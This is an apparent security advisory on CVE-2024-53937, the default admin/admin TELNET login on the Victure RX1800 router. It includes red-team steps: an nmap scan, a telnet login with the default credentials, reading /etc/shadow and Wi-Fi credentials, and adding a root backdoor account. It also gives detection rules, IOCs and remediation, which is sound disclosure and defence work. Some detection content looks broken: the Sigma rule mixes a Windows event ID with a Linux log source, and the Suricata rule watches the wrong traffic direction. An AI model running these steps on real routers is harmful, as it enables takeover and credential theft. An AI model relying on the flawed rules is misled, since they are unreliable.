CVE-2024-53937

Executive Summary

CVE-2024-53937 exposes a critical security flaw in the Victure RX1800 WiFi 6 Router. The TELNET service is enabled by default with hardcoded credentials (admin/admin) and is accessible over the LAN. This allows any attacker on the local network to gain root-level shell access to the device, leading to full compromise of the router and the network it serves. The device does not force a password change during initial setup, and while the TELNET password mirrors the GUI password, the default remains unchanged in many deployments. This vulnerability is classified as a default credential issue (CWE-798) and is actively exploitable with publicly available information.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Adjacent Network (AV:A) – Exploitation requires access to the local network.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerable component is the router itself.
• Confidentiality (C): High (C:H) – Full access to router data and network traffic.
• Integrity (I): High (I:H) – Ability to modify router configuration and firmware.
• Availability (A): High (A:H) – Can disrupt or disable router services.

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and provides root-level access. The default credentials are widely known.

Deep Dive & Mechanics

The Victure RX1800 router runs firmware version EN_V1.0.0_r12_110933 on hardware version 1.0. The TELNET service is enabled by default and listens on TCP port 23. The default credentials are admin for both username and password. The device does not enforce a password change during initial setup, leaving many units with the default credentials.

The TELNET service provides a root shell, meaning any successful login grants full administrative control over the device. This includes the ability to:

• Modify firewall rules.
• Intercept or redirect network traffic.
• Install persistent malware.
• Extract Wi-Fi credentials and other sensitive data.
• Use the router as a pivot point for further attacks on the internal network.

The vulnerability is exacerbated by the fact that the TELNET password is tied to the GUI password. If a user changes the GUI password, the TELNET password changes accordingly. However, the default remains unchanged in many cases.

Vulnerable vs. Patched Code

Vulnerable Code (Default Configuration): The TELNET service is enabled by default with hardcoded credentials. The following is a representation of the vulnerable configuration:

# /etc/inittab or similar startup script
::sysinit:/usr/sbin/telnetd -l /bin/login

# /etc/passwd or shadow file (default)
admin:$1$salt$hash:0:0:root:/root:/bin/sh

Patched Code (Hypothetical): A patch would disable TELNET by default, enforce a password change during initial setup, or remove the default credentials entirely.

# /etc/inittab (patched)
# TELNET disabled by default
# ::sysinit:/usr/sbin/telnetd -l /bin/login

# /etc/shadow (patched)
# No default password; user must set during setup
admin:!:0:0:root:/root:/bin/sh

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the same LAN as the Victure RX1800 router.
• A TELNET client (e.g., telnet on Linux, PuTTY on Windows).

Exploitation Steps:

1. Scan for the router:

   nmap -p 23 --open 192.168.1.0/24
   

2. Connect via TELNET:

   telnet 192.168.1.1
   

3. Login with default credentials:

   • Username: admin
   • Password: admin

4. Verify root access:

   id
   # Output: uid=0(root) gid=0(root)
   

5. Extract sensitive data:

   cat /etc/shadow
   cat /tmp/wifi_credentials
   

6. Establish persistence:

   # Add a backdoor user
   echo 'backdoor:$1$salt$hash:0:0:root:/root:/bin/sh' >> /etc/passwd
   

Blue Team (Detection & Response)

Detection:

• Monitor for TELNET connections (port 23) from unknown devices.
• Look for repeated login attempts with default credentials.
• Check for unauthorized changes to router configuration.

Response:

• Immediately change the GUI password (which also changes the TELNET password).
• Disable TELNET service if not required.
• Isolate the router from the network and perform a factory reset.
• Update firmware if a patch becomes available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • TELNET connections to the router's IP address on port 23.
  • Unusual outbound connections from the router to external IPs (e.g., C2 servers).
• File IOCs:
  • Presence of unauthorized files in /tmp or /etc.
  • Modified /etc/passwd or /etc/shadow files.
• Process IOCs:
  • Running telnetd process.
  • Unusual processes like nc, bash, or python shells.
• Log IOCs:
  • TELNET login logs showing admin user.
  • Failed login attempts for admin account.

Detection Engineering

YARA Rule

rule CVE_2024_53937_Victure_RX1800_Telnet_Default_Creds {
    meta:
        description = "Detects default TELNET credentials on Victure RX1800 router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53937"
    strings:
        $telnetd = "telnetd" ascii wide nocase
        $admin_creds = "admin:admin" ascii wide nocase
        $shadow_admin = "admin:$1$" ascii wide
    condition:
        $telnetd and ($admin_creds or $shadow_admin)
}

Sigma Rule

title: TELNET Default Credentials on Victure RX1800
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects TELNET login attempts with default admin/admin credentials on Victure RX1800 router
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53937
logsource:
    category: authentication
    product: linux
detection:
    selection:
        EventID: 4648
        TargetUserName: 'admin'
        LogonProcessName: 'TELNET'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 23 (msg:"CVE-2024-53937 - Victure RX1800 TELNET Default Credentials Attempt"; flow:to_server; content:"admin"; content:"admin"; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change the GUI password – This will also change the TELNET password.
2. Disable TELNET – If not required, disable the TELNET service via the router's web interface or CLI.
3. Restrict LAN access – Use VLANs or firewall rules to limit which devices can reach the router's management interfaces.
4. Monitor logs – Enable logging and monitor for unauthorized TELNET access.

Long-Term Fix:

• The vendor (Victure) must release a firmware update that disables TELNET by default and enforces a password change during initial setup.
• Until a patch is available, consider replacing the router with a more secure alternative.

Workaround:

• If TELNET is required, change the default credentials immediately and restrict access via IP whitelisting.

Valters IT